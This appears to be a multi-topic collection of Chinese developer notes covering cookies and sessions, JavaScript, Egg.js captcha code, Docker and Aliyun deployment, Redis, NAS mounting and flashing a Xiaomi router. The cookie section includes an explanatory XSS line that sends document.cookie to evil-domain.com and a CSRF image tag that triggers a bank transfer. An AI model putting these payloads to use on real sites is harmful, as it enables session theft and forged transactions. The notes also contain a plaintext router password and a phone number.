(不包含子域名),指定则包含子域名:Domain=github.com
意味着*.github.com
也生效%x2F
("/") 作为路径分隔符,子路径也会被匹配:Path=/docs
意味着/docs/*
也生效SameSite Cookie允许服务器要求某个cookie在跨站请求时不会被发送,从而可以阻止跨站请求伪造攻击(CSRF)
每个Cookie都会有与之关联的域(Domain)
first-party cookie
third-party cookie
第三方Cookie主要用于广告和网络追踪,由于图片之类的可以使用其它网站的图片(跨域),但是如此第一方的Cookie也只会发送给设置它们的服务器,所以需要第三方的组件发送cookie到第三方服务器(大多数浏览器默认都允许第三方Cookie,可以通过浏览器扩展阻止)
(new Image()).src = 'http://www.evil-domain.com/steal-cookie.php?cookie=' + document.cookie
应对方式:Secure
,加密cookie
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
应对方式:
客户端与服务端的交互,叫会话,处理会话状态,也就是Session:为了避免Cookie的种种限制和缺陷,利用Cookie的特性,在服务端也可以实现用户状态的保存
因为Session有Session ID的缘故,服务端通过Cookie指定一个唯一的用户标识(一般不指定过期时间,也就是使用的是会话期Cookie),然后在服务端以Session ID为索引,存储任意的用户信息。所以Cookie只是Session实现Session ID的一种方式而已,也可以用其它的方式。
因为Session使用的Cookie没有设置Domain字段和Path,所以不支持子域名和子目录
由于Session保存在服务器,只把Session ID暴露在外面,所以安全性要好于Cookie
因为Session使用的是Session Cookie
,Max-Age没有设置或者小于0,所以Session,关闭浏览器就失效
Session保存在服务器的内存、硬盘、数据库都可以
Cookie保存在客户端的内存或者硬盘
Session是保管在服务器端的,每个用户都会产生一个Session。假如并发访问的用户十分多,会产生十分多的Session,耗费大量的内存。而Cookie保管在客户端,不占用服务器资源。假如并发阅读的用户十分多,Cookie是很好的选择。
HTTP cookies - HTTP | MDN
HTTP State Management Mechanism
Cookie和Session的作用和工作原理
注册 https://www.freenom.com 并获取一个免费域名
注册 https://www.cloudflare.com 并添加域名
Namespace
为cloudflare的DNS下载 goflyway 服务端客户端一体 但是平台有区别
runServer.sh: 运行服务端脚本
nohup \
./goflyway \
-k='?c域名:80' \
-l=':80' \
-proxy-pass='http://kernel.ubuntu.com/~kernel-ppa/mainline/' \
-lv='dbg' \
> ./server.log 2>&1 &
kill.sh: 杀死goflyway服务端客户端通用
kill $(ps -ef|grep goflyway|grep -v grep|awk '{print $2}')
下载goflyway的PC版和安卓版
runClient.sh: 运行服务端脚本
./goflyway \
-up='cf://域名:80' \
-k='?c域名:80' \
-lv=dbg \
> ./client.log 2>&1 &
密码设置成这种样子是为了让安卓也支持cf模式: Cloudflare 相关
toLocaleString = toLocaleDateString + toLocaleTimeString 虽然好看,但是不可逆(从String还原成Date),还不如使用
new Date().toGMTString() // Mon, 11 Nov 2019 08:44:47 GMT
new Date().toISOString() // 2019-11-11T08:44:55.976Z
new Date().toJSON() // 2019-11-11T08:47:45.854Z
new Date().toTimeString() // 16:45:05 GMT+0800 (**标准时间)
new Date().toString() // Mon Nov 11 2019 16:45:14 GMT+0800 (**标准时间)
new Date() // Mon Nov 11 2019 16:47:16 GMT+0800 (**标准时间)
new Date().toUTCString() // Mon, 11 Nov 2019 08:45:26 GMT
对于一维对象,可以进行变量改名,和设置默认值
const person = { name: 'yy', age: 22 }
const { name: n, age = 18, sex = 'male' } = person
console.log(n, age, sex) // yy 22 male
处理嵌套对象
const persons = { yy: { n: 'yy', a: 22 }, zz: { n: 'zz', a: 21 } }
const { yy: { n: name, a: age } } = persons
console.log(name, age) // yy 22
本质:打标记
/**
* @description
* 数组去重
* 核心**: 打标记
* @param {Array} arr
* @returns {Array} 返回去重后的数组
*/
function arrDedup(arr) {
if (!Array.isArray(arr)) throw new Error('非数组')
const mark = []
return arr.reduce((cur, next) => {
if (!mark[next]) {
mark[next] = true
cur.push(next)
}
return cur
}, [])
}
如果是无序的怎么处理
/**
* @description
* 无序相等
* [1, 2] == [2, 1]
* @param {Array} arra
* @param {Array} arrb
* @returns {Number} 不同之处有几处
*/
function unorderEqual(arra, arrb) {
if (!Array.isArray(arra) || !Array.isArray(arrb)) throw new Error('非数组')
// [] [""] 应该相等
// 去除空元素
arra = arra.filter(x => x)
arrb = arrb.filter(x => x)
const arr = this.arrDedup([...arra, ...arrb])
return Math.abs(arr.length - arra.length)
}
js 没有 goto 语句,标记只能和 break 或 continue 一起使用,最方便的就是用于跳出最外层循环
label 用于 continue
loop:
for (let i = 0; i < 3; i++)
for (let j = 0; j < 3; j++)
if (i == 1 && j == 1)
continue loop
else
console.log(i, j)
/**
结果: 跳过 i == 1 && j == 1
0 0
0 1
0 2
1 0
2 0
2 1
2 2
*/
label 用于 break
loop:
for (let i = 0; i < 3; i++)
for (let j = 0; j < 3; j++)
if (i == 1 && j == 1)
break loop
else
console.log(i, j)
/**
结果: 在 i == 1 && j == 1 处截止
0 0
0 1
0 2
1 0
*/
在今天凌晨,说昨天23点59分,可以说是一天前吗?
/**
* @description
* 时间转换为更加口语化的形式
* @param {String|Number} before 传string就是可以转为时间格式的字符串 传number就是时间戳 两者都可以放入new Date()
*/
const computeTime = before => {
/**
* Date对象直接相减就是时间戳的相减
*/
before = new Date(before)
const mid = new Date() - before
/**
* 相差多少天前是 向上(ceil) 取整
* 比如 前天晚上 可以说 两天前 Math.ceil(((new Date('2019/10/16 00:00') - new Date('2019/10/14 23:59')) / 86400000)) 1.0006944444444446 -> 2
* 比如 昨天晚上 可以说一天前 Math.ceil((new Date('2019/10/16 00:00') - new Date('2019/10/15 23:59')) / 86400000) 0.0006944444444444445 -> 1 跟下面的情况一样 差距太小不能说一天前 而是说 而是更小单位前
* Math.ceil((new Date('2019/10/15 12:12') - new Date('2019/10/15 12:11')) / 86400000) 0.0006944444444444445
*/
const dayDiff = mid / 86400000
/**
* 30天或以上直接显示日期 YYYY年MM月DD日
* date是month中的天 day是week中的天
* const hours = before.getHours()
* const minutes = before.getMinutes()
* const secends = before.getSeconds()
* const millisecends = before.getMilliseconds()
*/
if (parseInt(dayDiff) >= 30) {
const year = before.getFullYear()
const month = ('00' + (before.getMonth() + 1)).slice(-2)
const date = ('00' + before.getDate()).slice(-2)
return `${year}年${month}月${date}日`
}
else if (1 < dayDiff && dayDiff < 7) return Math.ceil(dayDiff) + '天前'
else if (7 <= parseInt(dayDiff) && dayDiff < 30) return Math.ceil(dayDiff / 7) + '周前'
else if (mid / 3600000 > 1 && mid / 60000 > 60) return Math.ceil(mid / 3600000) + '小时前'
else if (1 < mid / 60000 && mid / 60000 < 60) return Math.ceil(mid / 60000) + '分钟前'
else return '刚刚'
}
首先看看var
, let
, const
三者的区别
名称 | 重新定义 | 重新赋值 |
---|---|---|
var | ✅ | ✅ |
let | ❌ | ✅ |
const | ❌ | ❌ |
const arr = [1,2,3]
for (const i in arr) console.log(i) // ok
for (const i of arr) console.log(i) // ok
for (const i = 0; i < arr.length; i++) console.log(i) // error
for...in for...of可以理解为是函数, 每次迭代相当于调用一次函数,生成一个新的作用域,相当于定义了多个作用域中值不同的const i,没有重新赋值,而 for 循环只生成了一次作用域
async function f () {
console.log('await func')
}
f() // Promise {<resolved>: undefined}
await f() // 直接把 resolve 的 undefined 取出来了
async/await + then(promise) + Go语言风格错误处理[err, data]
const promisify = (name = '', opts = {}) =>
new Promise((success, fail) =>
wx[name]({ ...opts, success, fail })
)
const [err, shopCart] = await promisify('getStorage', { key: 'shopCart' })
.then(({ data: shopCart }) => [null, shopCart], err => [err])
console.log(err, shopCart)
错误只要不 throw 那都好说
参考: async/await 优雅的错误处理方法
参考: 13篇文章,教你学会ES6知识点
实际指令
和内存单元
(数据、寻址、地址)数据、数字是同义词
指针:内存的地址
立即寻址(指令本身包含数据<CPU直接生成>)
寄存器寻址(指令指定寄存器,从寄存器读数据)
直接寻址(指令包含指针)
变址寻址
p+o为实际地址,完整公式为p + o + i * s
,其中i为下标,从0开始,代表的是第i+1个元素
间接寻址(指令指定寄存器,寄存器存指针)
基址寻址(用得多)
间接寻址+偏移量(存在指令中是常量)
egg-session-redis
)ctx.cookie.get('csrfToken')
取不到,好像是没有set就get不到,就算ctx.header.cookie
里面有,所以只能在header里面切割ctx.header.cookie.split(';')[0].split('=')[1]
简单粗暴,或者用正则/([^=]+)=([^;]+);?\s*/g
{ encrypt: true }
参数captchaKey
,可能会在多个地方用到,就想存在控制器的constructor里,这里也有坑constructor (ctx) {
super(ctx)
this.captchaKey = 'captcha' + ctx.header.cookie.split(';')[0].split('=')[1]
}
const captcha = require('svg-captcha')
constructor (ctx) {
super(ctx)
this.captchaKey = 'captcha' + ctx.header.cookie.split(';')[0].split('=')[1]
}
// 可以设置宽高,单位像素,但是注意宽不要小于高
// 验证码有效期限为600秒10分钟
async captcha () {
const { ctx, app } = this
const option = { size: 4, noise: 1, width: 78, height: 38 }
const width = parseInt(ctx.query.width)
const height = parseInt(ctx.query.height)
if (!isNaN(width) && !isNaN(height) && width > height) {
option.width = width
option.height = height
}
const cap = await captcha.create(option)
if (!await app.redis.set(this.captchaKey, cap.text.toLowerCase(), 'EX', 600)) ctx.throw(200, '获取图形验证码失败')
ctx.body = 'data:image/svg+xml;utf8,' + encodeURIComponent(cap.data)
}
async veriCaptcha (captcha = '', msg = '图形验证码错误') {
const { ctx, app } = this
if (await app.redis.get(this.captchaKey) !== captcha) ctx.throw(200, msg)
}
el-form-item
el-input(placeholder="请输入验证码" v-model="form.captcha")
img(:src="captchaSvg" style="display:block;width:78px;height:38px;padding:0" slot="append" @click.stop="getCaptcha")
getCaptcha (width = '', height = '') {
this.axios.get(`/api/captcha?width=${width}&height=${height}`).then(res => (this.captchaSvg = res), err => console.log(err))
}
原来浏览器原生支持JS Base64编码解码
学习了,CSS中内联SVG图片有比Base64更好的形式
SVG 图像入门教程
比如: 10.15.3,版本号分为三段
require('url').parse('a=1&a=2&a=3', true) // a: [1, 2, 3]
使用bluebird
异步化同步函数,promisifyAll
为异步化对象里面的所有函数,promisify
为异步化单个函数,调用他们会返回同名+Async
后缀的异步函数
require('xxx') // { f: [Function] }
promisifyAll(require('xxx')) // { f: [Function], fAsync: [Function] }
建议使用顶层的异步函数包起来,然后不带await
的运行(会返回的Promise
对象无需处理,带了await
反而报错),然后在调用顶层函数的时候try...catch
统一处理错误:
const { promisifyAll } = require('bluebird')
const { readFileAsync } = promisifyAll(require('fs'))
async function start () {
cosnt data = await readFileAsync('./a2.txt')
// ...
}
try {
start()
} catch (e) {
console.err(e)
}
创建镜像仓库
命名空间
、仓库名称
、摘要
和仓库类型
, 点击下一步
本地仓库
, 点击创建镜像仓库
点击刚创建的仓库右侧的管理
, 可以看到操作指南
会有很多命令行的操作
"start": "egg-scripts start --env=prod"
Docker v17.05 开始支持多阶段构建 ( multistage builds ), 可以提升速度缩减大小
项目根目录创建Dockerfile
文件
分为2个阶段构建
# FROM node:8-alpine as base
# WORKDIR /usr/src/app
# COPY package.json .
# RUN npm install --registry=https://registry.npm.taobao.org
FROM node:8-alpine as build
ENV TZ Asia/Shanghai
WORKDIR /usr/src/app
# 从其它阶段或镜像复制文件COPY --from=xxx 第一个参数只能是绝对地址 第二个参数是WORKDIR指定的相对地址
# COPY --from=base /usr/src/app/node_modules ./node_modules
COPY ./node_modules ./node_modules
COPY . .
RUN ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime \
&& echo Asia/Shanghai > /etc/timezone
EXPOSE 7001
CMD npm start
项目根目录创建.dockerignore
文件用来排除构建镜像时不需要的文件或目录
node_modules/*
.git/*
testCI/*
assets/*
documents/*
npm-debug.log
log/*
run/*
logs/*
开始构建
$ sudo docker build -t 仓库地域/命名空间/仓库名称:latest .
$ sudo docker build --target xxx -t username/imagename:tag . # 只想构建xxx阶段的镜像
$ sudo docker image ls | grep xxx # 查看所有镜像以验证
$ docker tag <ImageId> 仓库地域/命名空间/仓库名称:TAG # 注意如果只改tag 会生成ImageId一模一样tag不一样的镜像
容器的一些基本操作
$ sudo docker run -p 7004:7001 --rm 仓库地域/命名空间/仓库名称:latest # 运行容器 运行结束则删除容器 镜像expose的是7001 对外展现为7004
$ sudo docker container ls # 列出所有正在运行的容器
$ sudo docker container ls -a # 列出所有容器包括运行的和结束的
$ docker container stop # 终止启动的容器
$ docker container start # 启动处于终止状态的容器
$ docker container restart # 将一个运行态的容器终止,然后再重新启动它
创建Makefile并登陆docker私有仓库
$ touch 项目根目录/Makefile
# 域名就是仓库所在地区的域名
# 用于登录的用户名为阿里云账号全名,密码为开通服务时设置的密码
$ sudo docker login [email protected] registry.cn-xxxxxx.aliyuncs.com
填入Makefile的内容
.PHONY: build
NAME=仓库名称
REGISTRY=registry.cn-仓库地域.aliyuncs.com
NAMESPACE=命名空间
TAG=latest
TOKEN=触发器token
# 完整格式: registry.cn-仓库地域.aliyuncs.com/命名空间/仓库名:TAG
build:
echo building ${NAME}:${TAG}
docker build -t ${REGISTRY}/${NAMESPACE}/${NAME}:${TAG} .
docker push ${REGISTRY}/${NAMESPACE}/${NAME}:${TAG}
# curl https://cs.console.aliyun.com/hook/trigger?token=${TOKEN} # 暂时不用
运行Makefile使其自动构建本地镜像并上传至私有仓库
# sudo是因为需要读取~/.docker/config.json需要权限
sudo make
点击仓库右侧的管理
进入镜像仓库详情页,单击左侧导航栏中的镜像版本
在应用基本信息填写信息,其中副本数量
就是Pod数量
镜像Tag
一定要用鼠标点选,不要自己键盘输入!不然拉取不到镜像
如果看不到tag说明镜像地址是错误的, 把-vpc
删了,使用公网镜像地址!
更新:一定要用专有网络镜像地址(带vpc)而不是公网或经典网络(内网),不然导致镜像组拉取镜像失败
无状态里的端口不用手动设置,会自动设置的,如果你在服务进行了端口映射如-p 7004:7001
,这里就会出现所有的端口
容器的健康检查有2种
健康检查又分为3种方式
用的比较多的是HTTP请求
/
完成容器配置后,单击下一步
,进行高级配置
,分为3部分
<NodeIP>:<NodePort>
可从集群外部访问镜像
创建应用时,仅能为一个服务创建路由)容器组Pod
的CPU、内存的占用调整Pod的数量
类型选择虚拟集群IP(ClusterIP),勾选实例间服务发现(Headless Service)
,服务端口填你要在集群内网暴露的端口,容器端口填EXPOSE的端口(注意服务端口不要跟其它服务的服务端口冲突了)
路由的端口直接填服务端口即可,路径填/
,就可以通过填的域名进行外网访问(80端口的)
无状态创建后,也可以去容器服务管理控制台->路由与负载均衡
管理服务和路由
最后单击创建
。创建成功后,默认进入创建完成页面,会列出应用包含的对象,您可以单击查看应用详情
进行查看
在无状态详情里面,创建触发器
,创建重新部署的触发器,得到触发器的token
修改Makefile
,取消注释,替换token,然后重新部署
#11
Dockerfile构建容器镜像 - 运维笔记
运维-makefile的书写(节省dockerFile的批量构建的问题)
使用私有镜像仓库创建应用
镜像创建无状态Deployment应用
通过负载均衡(Server Load Balancer)访问服务
短信息服务(英语:Short Message Service,缩写:SMS;有时也称为信息、短信息、文字消息,此服务亦有许多英语的俗称如SMSes、text messages、messages或甚至于texts和txts)是移动电话服务的一种。
阿里云短信其实不是一个最好的选择,审核严格,如果发送的内容有敏感词导致审核不通过,是会发送失败的。
如果没有特殊说明,下面说短信
就是指阿里云短信
。
短信签名是短信发送者的署名,表示发送方的身份,可以理解为短信的头,一般公司的名称或者产品名称。
短信的主体内容,短信模板包含
模板的内容是固定的,模板变量是动态的,程序能做的就是指定签名和模板,调用SDK把模板变量传过去。
以验证码短信
为例,短信的格式为:
【阿里云】您正在申请手机注册,验证码为:${code},5分钟内有效!
用方括号扩起来的是短信签名,之后就是短信模板和模板变量
注意:短信签名和短信模板必须审核,审核通过才能使用。
个人用户签名规范请输入关键词
企业用户签名规范
文本短信模板规范
国际/港澳台短信模板规范
实名认证又分2种认证模式:
在短信服务产品详情页面单击立即购买
,开通短信服务。
开通短信服务这一步的目的是为了获取accessKey(accessKeyId
和accessKeySecret
),在用户信息管理里获得。
注意:信息云账号AccessKey是您访问阿里云API的密钥,具有该账户完全的权限,请您务必妥善保管!不要通过任何方式(eg, Github)将AccessKey公开到外部渠道,以避免被他人利用而造成安全威胁。强烈建议您遵循阿里云安全最佳实践,使用RAM子用户AccessKey来进行API调用。
短信服务控制台概览界面点击快捷操作入口
内的添加签名
短信模板分为两种
短信服务控制台概览界面点击快捷操作入口
内的添加模板
const Core = require('@alicloud/pop-core');
const client = new Core({
accessKeyId,
accessKeySecret,
endpoint: 'https://dysmsapi.aliyuncs.com',
apiVersion: '2017-05-25'
})
const params = {
"RegionId": "cn-hangzhou",
"PhoneNumbers": "17608455209",
"SignName": "V车展",
"TemplateCode": "SMS_146809101",
"TemplateParam": "{code: 666}"
}
const requestOption = {
method: 'POST'
}
client.request('SendSms', params, requestOption).then((result) => {
console.log(JSON.stringify(result));
}, (ex) => {
console.log(ex);
})
净资产=现有资产-负债
每年实际盈余=未来能赚的钱-每月支出
可利用的资源=净资产+每年实际盈余
长期投资需要较高的流动性,不宜大额购买长期理财产品
按收益类型区分个人投资
个人收入:每个月拿到手的钱
人民日报
flushdb
如果incr一个不存在的key的话 value为1没问题 但是ttl为-1 不会过期
所以要进一步处理: incr后如果ttl为-1那么就expire
还有个更妙的:incr的结果为1那么它的ttl必为-1 因为是第一次生成的(不用运行ttl一次了)
// 为了保留ttl但是又要每次修改其值加一,还要处理key不存在的情况
const isNew = await redis.incr(key) == 1
if (isNew) await redis.expire(key, expire)
但是为啥pipline又支持select+set呢
const pipelineRes = await redis.pipeline([
['select', dbIndex],
['set', `${orderSnPrefix}:${order_sn}`, '', 'px', ms(unpaidExpire)],
['select', 0]
]).exec()
ctx.helper.printLog('order.create', { pipelineRes })
const sub2 = new Redis(client)
await sub2.on('subscribe', (channel, count) => {
console.log('on subscribe', channel, count)
})
sub.on('message', async (channel, message) => {
const unique = `unique:${message}`
if (await redis.get(unique)) {
console.log('为保证redis定时器唯一性 这次不处理 因为已有别在处理这个订阅了')
return
}
// 时间不得超过定时器的有效期 不然会一个都处理不了
await redis.set(unique, '唯一性保证', 'ex', unpaidExpire * 60)
}
const sub3 = new Redis(client)
sub3.monitor().then(monitor =>
monitor.on('monitor', (time, args, source, database) => {
console.log('monitor', new Date(parseInt(time * 1000)).toLocaleString(), args, source, database)
})
这是redis事务处理multi
报的错,redis的事务没有回滚,就算前面出错了也会继续后面执行下去,只保证操作的顺序性,pipeline
不保证顺序性,所以select
和subscribe
不能连用和其它一些限制,但是速度快啊
参考:
文件存储 > 控制台用户指南 > 管理挂载点
k8s下, 先确定内网ip
, 在节点那里找到相应的实例id
, 点进去进入实例详情
, 往下翻到配置信息
, 交换机
和专有网络
就都能get到啦
sudo yum install nfs-utils
默认是2, 太慢, 最高可以改成128
sudo vi /etc/modprobe.d/sunrpc.conf
options sunrpc tcp_slot_table_entries=128
options sunrpc tcp_max_slot_table_entries=128
一、手动挂载
4选1
sudo mount -t nfs -o vers=4,minorversion=0,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2,noresvport file-system-id.region.nas.aliyuncs.com:/ /mnt # 容量型/性能型NAS NFSv4
sudo mount -t nfs4 -o rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2,noresvport file-system-id.region.nas.aliyuncs.com:/ /mnt # 容量型/性能型NAS NFSv4
sudo mount -t nfs -o vers=3,nolock,proto=tcp,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2,noresvport file-system-id.region.nas.aliyuncs.com:/ /mnt # 容量型/性能型NAS NFSv3
sudo mount -t nfs -o vers=3,proto=tcp,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2,noresvport file-system-id.region.extreme.nas.aliyuncs.com:/share /mnt # 极速型NAS
二、自动挂载
重启时自动挂载
有注释的选1个就行了
sudo vi /etc/fstab
file-system-id.region.nas.aliyuncs.com:/ /mnt nfs vers=4,minorversion=0,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2,_netdev,noresvport 0 0 # NFSv4
file-system-id.region.nas.aliyuncs.com:/ /mnt nfs vers=3,nolock,proto=tcp,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2,_netdev,noresvport 0 0 # NFSv3
sudo vi /etc/rc.local
sudo mount -t nfs -o vers=4,minorversion=0,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2,_netdev,noresvport file-system-id.region.nas.aliyuncs.com:/ /mnt # NFSv4
sudo mount -t nfs -o vers=3,nolock,proto=tcp,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2,_netdev,noresvport file-system-id.region.nas.aliyuncs.com:/ /mnt # NFSv3
reboot # 重启ECS
在配置/etc/rc.local文件前,请确保用户对/etc/rc.local和/etc/rc.d/rc.local文件有可执行权限。比如CentOS7.x系统,用户默认无可执行权限,需添加权限后才能配置/etc/rc.local文件。
mount -l | grep nas
df -h | grep nas
sysctl -w sunrpc.tcp_slot_table_entries=128
umount /mnt
如果提示device is busy,则需要先杀掉正在使用此NAS的进程
CentOS、Redhat、Aliyun Linux操作系统自带fuser,无需安装
fuser -mv <挂载点本地路径> # 查看当前正在使用此NAS的进程pid(pid为kernel的进程不需要处理)
kill <pid>
执行mount -l | grep nas
命令,查看卸载结果
上同
cat /proc/sys/sunrpc/tcp_slot_table_entries
去无状态
里面选择一个编辑, 往下翻到数据卷
添加云存储
然后去容器组
点详情
, 去存储
查看是否添加成功
详情参考
空格向下翻页
b 向上翻页
q 退出
覆盖文件夹是真覆盖, 被覆盖的文件夹里面的文件统统没有!!!
解决方案
cp -R new/ old/
参考: https://newsn.net/say/mac-folder-merge.html
diskutil list # 查看ntfs硬盘的名称
sudo vi /etc/fstab
LABEL=硬盘的名称 none ntfs rw,auto,nobrowse # 注意逗号之间没有空格
# 重新拔插硬盘
open /Volumes/
# 1、把硬盘快捷方式拖到方便到地方, 如Finder的个人收藏侧边栏因为不会自动出现在Finder到位置了
# 2、或者创建软连接
mkdir -p ~/Desktop/xxx
ln -s /Volumes/HD_NAME ~/Desktop/xxx
# 备注: 如果label name不行还可以用uuid
diskutil info /Volumes/HD_NAME | grep UUID
sudo vi /etc/fstab
UUID=B83735C0-40A9-478B-9689-FD98941041C3 none ntfs rw,auto,nobrowse
以上就相当于手动输入以下命令
sudo umount /Volumes/750g/
sudo mount -t ntfs -o rw,auto,nobrowse /dev/disk3s1 ~/Desktop/750g/
提示mount_ntfs: /dev/disk3s1 on /Users/yy/Desktop/750g: Read-only file system
1、brew install android-file-transfer
2、HandSShaker
去首选项,把热键从 Command+C+C 改为 Command+Space (Command+C也不行)
open ftp://192.168.1.174:2121
To install p7zip
using Homebrew, first update your brew formulae to be sure you are getting the latest p7zip.
brew update
Use Homebrew to install p7zip:
brew install p7zip
Add all files in the sputnik directory to the compressed file heed.7z:
7z a heed.7z sputnik
Unzip heed.7z:
7z x heed.7z
参考:https://superuser.com/questions/548349/how-can-i-install-7zip-so-i-can-run-it-from-terminal-on-os-x
sudo vi /etc/sudoers
##
## User privilege specification
##
root ALL=(ALL) ALL
%admin ALL=(ALL) NOPASSWD: ALL
一定要是低版本的,如 miwifi_r1cl_all_59371_2.1.26.bin
curl -d \
'oldPwd=a406687077&newPwd=a406687077' \
'http://192.168.31.1/cgi-bin/luci/;stok=584ca876fcfe0ed6134c43bf44e35ac3/api/xqsystem/set_name_password'
{"code":0}
成功
{"code":1523,"msg":"参数错误"}
新版的不行了 刷旧版
ssh [email protected]
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
SHA256:nNmtQbaBTGsnapck+TmFnEolusdC1H1fg/JY8hbMWZM.
Please contact your system administrator.
Add correct host key in /c/Users/Administrator/.ssh/known_hosts to get rid of this message.
Offending RSA key in /c/Users/Administrator/.ssh/known_hosts:6
RSA host key for 192.168.31.1 has changed and you have requested strict checking.
Host key verification failed.
原因:以前连过ssh,但是因为刷机导致指纹变化
vi ~/.ssh/known_hosts
删除一行
BusyBox v1.19.4 (2015-10-15 20:51:43 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
-----------------------------------------------------
Welcome to XiaoQiang!
-----------------------------------------------------
root@XiaoQiang:~#
root@XiaoQiang:~# uname -a
Linux XiaoQiang 3.10.14 #1 Thu Oct 15 21:03:57 CST 2015 mips GNU/Linux
root@XiaoQiang:~# cat /proc/cpuinfo
system type : MT7628
machine : Unknown
processor : 0
cpu model : MIPS 24KEc V5.5
BogoMIPS : 385.84
wait instruction : yes
microsecond timers : yes
tlb_entries : 32
extra interrupt vector : yes
hardware watchpoint : yes, count: 4, address/irw mask: [0x0ffc, 0x0ffc, 0x0ffb, 0x0ffb]
isa : mips1 mips2 mips32r1 mips32r2
ASEs implemented : mips16 dsp
shadow register sets : 1
kscratch registers : 0
core : 0
VCED exceptions : not available
VCEI exceptions : not available
CPU型号:MT7628, 刷机最重要的就是CPU型号了!
root@XiaoQiang:~# cat /proc/mtd
dev: size erasesize name
mtd0: 01000000 00010000 "ALL"
mtd1: 00030000 00010000 "Bootloader"
mtd2: 00010000 00010000 "Config"
mtd3: 00010000 00010000 "Factory"
mtd4: 00ba0000 00010000 "OS1"
mtd5: 00a30000 00010000 "rootfs"
mtd6: 00240000 00010000 "OS2"
mtd7: 000c0000 00010000 "data"
mtd8: 00100000 00010000 "overlay"
mtd9: 00010000 00010000 "crash"
mtd10: 00ba0000 00010000 "firmware"
root@XiaoQiang:~# dd if=/dev/mtd0 of=/tmp/r1cl_system_backup.bin
# 疑问:为啥要保存到/tmp? 因为此分区的空间最大df -h
scp [email protected]:/tmp/r1cl_system_backup.bin .
取代U-Boot的Bootloader,号称随便刷机不会死
breed、BreedEnter.exe下载地址:https://breed.hackpascal.net/
一定要下载md5sum.txt用md5sum命令去验证
cat md5sum.txt | grep
md5值
一般刷aa1e47aa885eeba06d0eb22cd65cefa6 breed-mt7688-reset38.bin(MT7628AN/KN 全通用,波特率 57600,复位键 GPIO#38)
breed详细信息(cpu型号 复位键 波特率等):https://www.right.com.cn/forum/thread-161906-1-1.html
breed下测试运行btntst
,按复位键可知
然后刷入复位键正确的breed(讲道理刷机后复位键用处不大了)
scp ./breed-mt7688-reset38.bin [email protected]:/tmp/breed-mt7688-reset38.bin
mtd -r write /tmp/breed-mt7688-reset38.bin Bootloader
耐心等待,自动断开ssh说明刷入完成
通过 BreedEnter.exe 方法中断 Breed,即可通过 telnet 方法进入 Breed 命令控制台
btntst disable 引脚号
忽略指定引脚GPIO xxx status will be ignored.
忽略成功按复位键
GPIO#38 (<gpio1,6>) changed to 0
GPIO#38 (<gpio1,6>) changed to 1
可以看到复位键是38,不用重新安装breed~~
刷机之前先去Breed Web 恢复控制台 http://192.168.1.1/mac.html 备份mac
RF1
WLAN MAC F0 B4 29 54 2E C3
MAC1 F0 B4 29 54 2E C2
MAC2 00 0C 43 E1 76 2A
RF2
WLAN MAC FF FF FF FF FF FF
MAC1 FF FF FF FF FF FF
MAC2 FF FF FF FF FF FF
RT6855/RT6856/MT7621 独立参数
LAN MAC FF FF FF FF FF FF
WAN MAC FF FF FF FF FF FF
1、CPU型号
2、MD5
小米路由器青春版刷breed后再刷入华硕固件教程
小米路由器青春版刷入Breed教程
小米路由器青春版 开启ssh 刷入breed 潘多拉 华硕 固件
小米路由器MINI(R1CM)刷BREED及PANDAVAN教程
小米无线路由器以及小米无线相关的设备 - 恩山无线论坛 - Powered by Discuz!
继承就是代码的重用,共性的抽取
继承类似设计模式中的开闭原则
:对修改关闭,对添加开放。(通过添加而不是修改进行新功能的添加)
重写Override:方法名一样,参数也一样(好理解,外观都一样才能确定是一个方法,然后进行重写,里面的方法体有所变化,或者方法的权限修饰符
有变化)
重载Overload:方法名一样,参数不一样
权限修饰符
,必须大于等于父类的(public > protected > > private)super()
(所以是先父类构造方法,再子类构造方法,跟普通方法和成员变量的访问顺序是相反的)public abstract class Person {
public abstract void eat(); // 抽象方法就是有声明无实现
}
跟抽象类有些相似:不能直接new 要实现全部的抽象方法
和抽象类的区别:没有静态代码块 没有构造函数
和类的区别:类只能继承一个父类 接口可以同时实现多个接口(接口是多继承的)
public abstract Xxx();
public class Yyy implements Xxx {}
实现多个接口 中有冲突的默认方法:实现类必须重写冲突的默认方法
实现类的父类 和 接口的默认方法 冲突:父类方法优先(继承优先接口)
接口之间的多继承中有默认方法的冲突:重写默认方法(default关键字要保留!)
冲突:覆盖重写最保险
default xxx () { 方法体 }
static xxx () {}
public static final
(省略的效果一样)Win10x64家庭版以上的支持HyperV虚拟机(Win8及以上),可以直接安装Docker,如果是Win7的话,只能通过安装DockerToolbox来安装Docker
可以看到,DockerToolbox本身已经提供了VirtualBox和Boot2Docker,但是版本太老,所以要下载最新的
在Select Components
的时候,另外下载安装的软件就不需要勾选了,另外VirtualBox只能强制安装,所以需要等DockerToolbox安装完之后,卸载VirtualBox再重新安装最新的版本
在Select Additional Tasks
的时候,不要勾选Upgrade Boot2Docker VM
,它会升级boot2docke.iso还是那句话会很慢、、、
Windows环境从来都是不省心的,所以也还需要手动搭建一番
在~或者C:\Users\Administrator(用户主目录)创建如下目录结构:
.docker (这里其实都是由docker-machine读取或创建的)
machine
machines(Boot2Docker的虚拟机实例)
chache(boot2docker.iso要放在这里)
certs(自动生成的证书)
这里最需要关心的是~/.docker/machine/cache目录了(其它都可自动生成),boot2docker.iso不在这里或者版本低了docker-machine都会自动从git下载,由于众所周知的原因,虽然boot2docker.iso只有几十兆,但那速度你懂的
